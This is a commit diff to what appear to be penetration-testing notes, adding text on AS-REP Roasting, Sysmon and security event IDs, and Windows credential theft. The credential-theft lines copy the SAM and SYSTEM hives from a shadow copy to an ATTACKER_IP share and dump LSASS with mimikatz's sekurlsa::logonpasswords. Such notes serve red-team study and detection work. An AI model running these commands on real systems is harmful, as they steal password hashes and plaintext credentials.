more info
This commit is contained in:
parent
ccaa96dab5
commit
c78967a9a9
|
|
@ -1,4 +1,10 @@
|
|||
# AS-Rep Roating
|
||||
# AS-Rep Roasting
|
||||
|
||||
AS-REP Roasting targets account for which preauthentication is disabled.
|
||||
This means `DONT_REQUIRE_PREAUTH` for an account is enabled, and the DC skips
|
||||
the verification step. After event type `4768` the `Pre_Authentication_Type=0`
|
||||
and event code `4769` and `4624` is never triggered.
|
||||
A service can be requested without any password check.
|
||||
|
||||
AS-Rep Roasting dumps user accounts which did not enable pre-authentication.
|
||||
This is somewhat similar to Kerberoasting but includes user accounts as well.
|
||||
|
|
|
|||
|
|
@ -27,6 +27,7 @@ Get-WinEvent -FilterHashTable @{LogName='<Category>';ID='<Event IDs>'} | fl
|
|||
|
||||
* **1**: Process Creation (Applications & Services -> Microsoft -> Windows ->
|
||||
Sysmon -> Operational)
|
||||
* **10**: ProcessAccess, Sysmon event where one process opens a handle to another process
|
||||
* **4688**: Process Creation (Windows Logs -> Security)
|
||||
|
||||
### Files
|
||||
|
|
|
|||
|
|
@ -324,12 +324,14 @@ socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
|
|||
|
||||
### Volume Shadow Copy Service
|
||||
|
||||
* Take a look at the volumes at
|
||||
Take a look at the volumes at
|
||||
|
||||
```sh
|
||||
vssadmin list shadows
|
||||
```
|
||||
|
||||
* Copy `sam` and `system` from the shadow copy
|
||||
Copy `sam` and `system` from the shadow copy
|
||||
|
||||
```sh
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
|
||||
|
|
@ -337,10 +339,14 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sys
|
|||
|
||||
### Dump LSASS
|
||||
|
||||
* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`
|
||||
LSASS contains multiple different credential types like NTLM password hashes,
|
||||
active krb session tickets, plaintext passwords and cached domain credentials.
|
||||
|
||||
* If administrator permissions are gained, a dump file can be created by opening the task manager and right-clicking `lsass.exe` -> `creat dumpfile`
|
||||
* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`
|
||||
|
||||
* Extract the dump via mimikatz
|
||||
|
||||
```sh
|
||||
privilege::debug
|
||||
sekurlsa::logonpasswords
|
||||
|
|
|
|||
Loading…
Reference in New Issue